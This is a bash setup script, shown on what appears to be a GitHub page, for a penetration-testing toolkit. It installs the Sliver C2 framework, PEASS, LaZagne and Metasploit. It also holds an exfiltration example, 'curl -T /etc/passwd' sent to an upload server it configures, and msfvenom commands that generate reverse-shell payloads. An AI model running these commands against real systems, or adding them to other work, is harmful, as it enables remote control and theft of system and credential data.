-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbash_funcs.sh
482 lines (399 loc) · 19.2 KB
/
bash_funcs.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
#!/bin/bash
source bash_tools.txt
dldir="$HOME/Downloads"
homedir="$HOME"
kit_location="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
RED='\033[0;31m'
GREEN='\033[0;32m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
kit_log="${kit_location}/kit_log.txt"
# Catch Ctrl+C and die
trap "echo -e '\nTerminated by Ctrl+C'; exit" SIGINT
# Configure the error_handler function to catch errors. Definied below print_message.
trap 'error_handler $? $LINENO' ERR
#############################################################################
c2_sliver_install() {
# variable used for saving files
c2_sliver_download_directory="$dldir/C2Frameworks"
print_message "green" "sliver: Installing sliver..."
# Try to install mingw-w64 package for more advanced features
print_message "green" "sliver: Installing mingw-w64 through apt"
run_and_log sudo apt install -y mingw-w64
# Clone source repo
print_message "green" "sliver: Cloning source and Wiki repos to $c2_sliver_download_directory"
run_and_log git clone --quiet https://github.com/BishopFox/sliver.git "$c2_sliver_download_directory/sliver.git"
# Wiki for documentation reference
run_and_log git clone --quiet https://github.com/BishopFox/sliver.wiki.git "$c2_sliver_download_directory/sliver.wiki.git"
# Binary releases
print_message "green" "sliver: Downloading latest pre-compiled binary releases"
run_and_log wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux -qP "$c2_sliver_download_directory"
run_and_log wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-client_linux -qP "$c2_sliver_download_directory"
run_and_log wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-client_windows.exe -qP "$c2_sliver_download_directory"
print_message "green" "sliver: Installation complete."
return 0
}
# Error handling function
# Expects error code as $1 and the $LINENO env variable as $2
error_handler(){
print_message "red" "Error: ($1) occured on $2"
#echo "${RED}Error: ($1) occured on $2${NC}"
}
grab_peas() {
linpeas_sh='https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh'
winpeas_bat='https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEAS.bat'
winpeas_exe='https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe'
print_message "debug" "sudo mkdir \"${dldir}/PEAS\""
run_and_log sudo mkdir "${dldir}/PEAS"
print_message "debug" "sudo wget -qO \"${dldir}/PEAS/linpeas.sh\" \"${linpeas_sh}\""
run_and_log sudo wget -qO "${dldir}/PEAS/linpeas.sh" "${linpeas_sh}"
print_message "debug" "sudo chmod +x \"${dldir}/PEAS/linpeas.sh\""
run_and_log sudo chmod +x "${dldir}/PEAS/linpeas.sh"
print_message "debug" "sudo wget -qO \"${dldir}/PEAS/winpeas.bat\" \"${winpeas_bat}\""
run_and_log sudo wget -qO "${dldir}/PEAS/winpeas.bat" "${winpeas_bat}"
print_message "debug" "sudo wget -qO \"${dldir}/PEAS/winpeas.exe\" \"${winpeas_exe}\""
run_and_log sudo wget -qO "${dldir}/PEAS/winpeas.exe" "${winpeas_exe}"
}
jon() {
echo "Doing some work, here's a nice portrait, circa 2022 \n"
echo " - \\\\O"
echo " - /\\ "
echo " - __/\\ \`"
echo " \` \\\\, (o)"
echo "^^^^^^^^^^^\`^^^^^^^^"
echo "Ol' Jon, kickin' them rocks again \n"
}
msfdb_init() {
# TODO: Check and make sure the msfdb is actually up and running (msfdb run)
print_message "info" "Initializing MSF database"
run_and_log sudo systemctl start postgresql
run_and_log systemctl status postgresql
run_and_log sudo msfdb init
#echo "MSF Database Initialized"
print_message "green" "MSF Database Initialized"
print_message "info" "Creating msfconsole.rc file"
run_and_log cp "${kit_location}/msfconsole.rc" "${HOME}/.msf4/msfconsole.rc"
print_message "info" "Here is the status of msfdb:"
run_and_log sudo msfdb status
}
neo4j_init() {
# TODO: Grab the port/service information and present to the user
run_and_log sudo mkdir -p /usr/share/neo4j/logs
run_and_log sudo touch /usr/share/neo4j/logs/neo4j.log
run_and_log sudo neo4j start
print_message "green" "Neo4j service initialized"
}
nginx_config() {
# Used to create an NGINX proxy for apache for web exfiltration
run_and_log sudo mkdir -p /var/www/uploads/Exfil
run_and_log sudo chown -R www-data:www-data /var/www/uploads/Exfil
run_and_log sudo cp ./upload.conf /etc/nginx/sites-available/upload.conf
if [[ ! -e "/etc/nginx/sites-enabled/upload.conf" ]]; then
run_and_log sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
fi
run_and_log sudo systemctl restart nginx.service
run_and_log sudo rm /etc/nginx/sites-enabled/default
# Usage
print_message "good" "NGINX has been setup. To test the upload, try:"
print_message "good" "curl -T /etc/passwd http://<ip>:8443/Exfil/testfile.txt ; tail -n 1 /var/www/uploads/Exfil/testfile.txt"
}
peas_download() {
# For the time being - just scrub the PEAS directory and re-obtain
if [[ -d "${dldir}/PEAS" ]]; then
# Lol, risky
print_message "debug" "rm -rf ${dldir}/PEAS"
run_and_log sudo rm -rf "${dldir}/PEAS"
print_message "debug" "grab_peas"
grab_peas
else
print_message "debug" "grab_peas"
grab_peas
fi
}
# Pass args to this function like so:
#
# print_message [good|bad|info] "message you want output" "additional optional"
#
# Success messages should be "good". Will output with [*] in front
# Failure or error should be "bad". Will output with [!] in front
# Other information should be "info". Will output with [+] in front
# Extra debug-level detail should be "debug". Will output with DEBUG: in front
print_message() {
# Print the provided message with pretty colors and a datetime stamp
case $1 in
good|green|success)
echo -e "${GREEN}[*] $(date +%Y-%m-%dT%H:%M:%S:%Z) : ${@:2}${NC}\n" | tee -a "${kit_log}"
;;
bad|error|red)
echo -e "${RED}[!] $(date +%Y-%m-%dT%H:%M:%S:%Z) : ${@:2}${NC}\n" | tee -a "${kit_log}"
;;
info)
echo -e "${BLUE}[+] $(date +%Y-%m-%dT%H:%M:%S:%Z) : ${@:2}${NC}\n" | tee -a "${kit_log}"
;;
debug)
if [ "$debug" == "true" ]; then
echo -e "${BLUE}DEBUG: $(date +%Y-%m-%dT%H:%M:%S:%Z) : ${@:2}${NC}\n" | tee -a "${kit_log}"
fi
;;
*)
echo -e "${RED}Invalid message type passed to print_message function: $1${NC}\n" | tee -a "${kit_log}"
exit 1
;;
esac
}
# Function to run things and log them
# It expects everything passed to it to be a command and its arguements
run_and_log() {
# If debug, print messages and command output to terminal
if [ "$debug" == "true" ]; then
print_message "debug" "RUNNING: ${@}"
"$@" 2>&1 | tee -a "${kit_log}"
# If no debug, just put in log
else
"$@" >> "${kit_log}" 2>&1
fi
}
scrub() {
echo "127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters" > /etc/hosts
print_message "green" "Your /etc/hosts file has been reset"
}
# TODO: Come up with naming convention for shells & organize based off target architecture
# TODO: Add platform and target architecture
# TODO: Make msfvenom payload generation as submethods
# TODO: Jam each step of this into the zenity library, providing a GUI with dropdown for choices at each step!
shell_creation() {
listen_port=6969
# Get the list of available network interfaces
interfaces=$(ip -o link show | awk -F': ' '{ print $2 }')
# Use zenity to display the list and let the user choose an interface
selected_interface=$(zenity --list --title="Select Network Interface" --text="Choose your network interface:" --column="Interfaces" $interfaces)
if [[ -z "$selected_interface" ]]; then
print_message "error" "No interface selected. Exiting."
exit 1
fi
# Get the IP address of the selected interface
ip_addr=$(ip addr show "$selected_interface" | grep "\<inet\>" | awk '{ print $2 }' | awk -F "/" '{ print $1 }' | tr -d '\n')
if [[ -z "$ip_addr" ]]; then
print_message "error" "No IP address found for the selected interface. Exiting."
exit 1
fi
print_message "info" "Selected interface is: $selected_interface"
print_message "info" "Interface address is: $ip_addr"
print_message "info" "Port being used for shells is $listen_port"
print_message "good" " Nice"
msfvenom -p linux/x64/shell_reverse_tcp RHOST=$ip_addr LPORT=$listen_port -f elf > /tmp/test.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$ip_addr LPORT=$listen_port -f elf > /tmp/meter_rev_test.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$ip_addr LPORT=$listen_port -f exe > /tmp/test.exe
msfvenom -p linux/x64/shell_reverse_tcp RHOST=$ip_addr LPORT=$listen_port -f sh > /tmp/test_rev.sh
}
shh() {
echo " "
echo " 88 88 "
echo " 88 88 "
echo " 88 88 "
echo " 88,dPPYba, 88 88 ,adPPYba, 8b,dPPYba, 88 "
echo " 88P' '8a 88 88 a8' '8a 88P' 'Y8 88 "
echo " 88 d8 88 88 8b d8 88 88 "
echo " 88b, ,a8' '8a, ,a88 '8a, ,a8' 88 88 "
echo " 8Y'Ybbd8'' 'YbbdP'Y8 'YbbdP'' 88 88 "
echo " "
echo "Never gonna give you up. Never gonna let you down. "
echo "Never gonna run around and desert you. "
echo "Never gonna make you cry. Never gonna say goodbye. "
echo "Never gonna tell a lie and hurt you. "
echo " "
}
silence_pcbeep () { # I stop the ridiculous terminal beeping !
sudo echo -e "blacklist pcspkr" > /etc/modprobe.d/nobeep.conf
print_message "green" "\n Terminal Beep Silenced! /etc/modprobe.d/nobeep.conf \n"
}
structure_setup() {
DIRS=("Linux" "Windows" "ActiveDirectory" "C2Frameworks" "Packages")
for dir in "${DIRS[@]}"; do
if [[ -d "${dldir}/${dir}" ]]; then
print_message "debug" "${dir} FOLDER EXISTS"
else
print_message "debug" "Making ${dldir}/${dir}"
run_and_log mkdir "${dldir}/${dir}"
print_message "debug" "created the ${dir} directory"
fi
done
}
sublime_install() {
sublime='https://download.sublimetext.com/sublime-text_build-3211_amd64.deb'
print_message "info" "Installing Sublime text"
print_message "debug" "wget -qO \"${dldir}/sublime.deb\" \"${sublime}\""
run_and_log wget -qO "${dldir}/sublime.deb" "${sublime}"
print_message "debug" "sudo dpkg -i \"${dldir}/sublime.deb\""
# sudo dpkg -i "${dldir}/sublime.deb"
dpkg_sublime_install_subproc=$(sudo /bin/bash -c "sudo dpkg -i \"${dldir}/sublime.deb\" 2>&1")
dpkg_sublime_install_return=$?
if [ "$dpkg_sublime_install_return" -ne 0 ]; then
print_message "red" "'sudo dpkg -i \"${dldir}/sublime.deb\"' encountered an error while running. return code: $apt_return_code"
print_message "red" "'sudo dpkg -i \"${dldir}/sublime.deb\"' stdout:\n$dpkg_sublime_install_subproc"
else
print_message "debug" "'sudo dpkg -i \"${dldir}/sublime.deb\"' stdout:\n$dpkg_sublime_install_subproc"
print_message "green" "Sublime text installed"
fi
}
system_update() {
print_message "info" "Beginning System updates, please wait..."
apt_update_subproc=$(sudo /bin/bash -c "sudo apt update -y" 2>&1)
apt_update_return_code=$?
if [ "$apt_update_return_code" -ne 0 ]; then
print_message "red" "'apt update' encountered an error while running. 'apt update' return code: $apt_return_code"
print_message "red" "'apt update' stdout:\n$apt_update_subproc"
else
print_message "debug" "'apt update' stdout:\n$apt_update_subproc"
print_message "debug" "'apt update' ran successfully"
fi
apt_upgrade_subproc=$(sudo /bin/bash -c "sudo apt upgrade -y" 2>&1)
apt_upgrade_return_code=$?
if [ "$apt_upgrade_return_code" -ne 0 ]; then
print_message "red" "'apt upgrade' encountered an error while running. 'apt upgrade' return code: $apt_return_code"
print_message "red" "'apt upgrade' stdout:\n$apt_upgrade_subproc"
else
print_message "debug" "'apt upgrade' stdout:\n$apt_upgrade_subproc"
print_message "debug" "'apt upgrade' ran successfully"
fi
apt_pip_install_subproc=$(sudo /bin/bash -c "sudo apt install python3-pip -y" 2>&1)
apt_pip_install_return_code=$?
if [ "$apt_pip_install_return_code" -ne 0 ]; then
print_message "red" "'apt install python3-pip' encountered an error while running. 'apt install python3-pip' return code: $apt_return_code"
print_message "red" "'apt install python3-pip' stdout:\n$apt_pip_install_subproc"
else
print_message "debug" "'apt install python3-pip' stdout:\n$apt_pip_install_subproc"
print_message "debug" "'apt install python3-pip' ran successfully"
fi
apt_autoremove_subproc=$(sudo /bin/bash -c "sudo apt autoremove -y" 2>&1)
apt_autoremove_return_code=$?
if [ "$apt_autoremove_return_code" -ne 0 ]; then
print_message "red" "'apt autoremove' encountered an error while running. 'apt autoremove' return code: $apt_return_code"
print_message "red" "'apt autoremove' stdout:\n$apt_autoremove_subproc"
else
print_message "debug" "'apt autoremove' stdout:\n$apt_autoremove_subproc"
print_message "debug" "'apt autoremove' ran successfully"
fi
sublime_install
vscodium_install
tool_install
tool_update
print_message "info" "Starting SSH service ..."
run_and_log sudo service ssh start
print_message "good" "Finished SYSTEM setup"
}
#Throw test cases into here, invoke with -test
test() {
#zenity --info --title="Notification" --text="Hello!" --width=200 --height=100
silence_pcbeep
shell_creation
}
tool_install() {
cd "$dldir"
structure_setup # Decouple me from this function and put me into the organization function
# Temp method to grab lazagne and the old firefox decrypt for python2
lazagne_exe='https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe'
run_and_log sudo wget "$lazagne_exe" -qO "$dldir/lazagne.exe"
ff_decrypt_old='https://github.com/unode/firefox_decrypt/archive/refs/tags/0.7.0.zip'
run_and_log sudo wget "$ff_decrypt_old" -qO "$dldir/FirefoxDecrypt_ForPython2"
# End temp method
is_repo_installed() { #Never delete me, this is Kaedraar's wizardry
if [[ "$1" =~ https://.+/(.+)\.git ]]; then
if [[ -d "./${BASH_REMATCH[1]}" ]]; then
return 0
fi
else
print_message "bad" "INVALID URL: $1"
# Returning 0 here because if the url isn't valid, then we definitely don't want to try installing
return 0
fi
return 1
}
for git_url in "${GITHUBS[@]}"; do
print_message "debug" "Checking for local install of: $git_url"
if is_repo_installed "$git_url"; then
print_message "good" "Found $git_url in current directory, continuing..."
else
run_and_log git clone -q "$git_url"
if [ $? -eq 0 ]; then
print_message "green" "Repo cloned: $git_url -- Moving on..."
else
print_message "red" "Failed to clone repo $git_url" "Exit code:$?\n"
fi
fi
done
# Begin installing pypi & apt packages
apt_command_string="sudo /usr/bin/apt install -y "
for pkg in "${APT_PACKAGES[@]}"; do
apt_command_string+="$pkg "
done
apt_install_subproc=$(sudo /bin/bash -c "$apt_command_string" 2>&1)
apt_return_code=$?
if [ "$apt_return_code" -ne 0 ]; then
print_message "red" "apt encountered an error while running. apt return code: $apt_return_code"
print_message "red" "apt stdout:\n$apt_install_subproc"
else
print_message "green" "apt installed packages successfully"
fi
for pkg in "${PYPI_PACKAGES[@]}"; do
run_and_log pip3 install "$pkg" 1>/dev/null
print_message "green" "PYPI $pkg successfully installed"
done
peas_download
run_and_log sudo ln -s "$dldir/nmapAutomator/nmapAutomator.sh" /usr/local/bin/ && sudo chmod +x "$dldir/nmapAutomator/nmapAutomator.sh"
print_message "green" "tool_install() Completed"
return 0
}
tool_update() {
nmap_update() {
print_message "info" "Updating nmap script database"
run_and_log sudo nmap --script-updatedb 1>/dev/null
print_message "green" "nmap script database updated"
}
rockyou() {
print_message "info" "Checking if rockyou has been unzipped..."
if [ -f "/usr/share/wordlists/rockyou.txt.gz" ]; then
print_message "green" "It hasn't been decompressed - decompressing now..."
run_and_log sudo gunzip /usr/share/wordlists/rockyou.txt.gz
else
print_message "green" "rockyou has already been unzipped"
print_message "green" "Software & Tool updates have been completed!"
fi
}
print_message "info" "Updating searchsploit DB. Please be patient, this may take a while..."
run_and_log sudo searchsploit -u
print_message "green" "Finished searchsploit update"
print_message "info" "Updating locate DB..."
run_and_log sudo updatedb
print_message "green" "Finished locate DB update"
nmap_update
rockyou
return 0
}
vscodium_install() {
# Download the public GPG key for the repo and package if hasn't been downloaded already
print_message "info" "Installing VSCodium"
if [ ! -f '/usr/share/keyrings/vscodium-archive-keyring.gpg' ]; then
print_message "info" "Downloading and adding VSCodium GPG key to filesystem (within /usr/share/keyrings/)"
wget -qO - https://gitlab.com/paulcarroty/vscodium-deb-rpm-repo/raw/master/pub.gpg | gpg --dearmor | sudo dd of=/usr/share/keyrings/vscodium-archive-keyring.gpg 2>/dev/null
else
print_message "info" "VSCodium GPG key already downloaded"
fi
# Add the repository if it hasn't been already
if [ ! -f '/etc/apt/sources.list.d/vscodium.list' ]; then
print_message "info" "Adding VSCodium repository to apt repos in /etc/apt/sources.list.d/"
echo 'deb [ signed-by=/usr/share/keyrings/vscodium-archive-keyring.gpg ] https://paulcarroty.gitlab.io/vscodium-deb-rpm-repo/debs vscodium main' | sudo tee /etc/apt/sources.list.d/vscodium.list
else
print_message "info" "VSCodium repository was already added"
fi
# Refresh available packages and install codium
print_message "info" "Installing VSCodium from repository"
run_and_log sudo apt update
run_and_log sudo apt install codium -y
print_message "green" "VSCodium installed"
}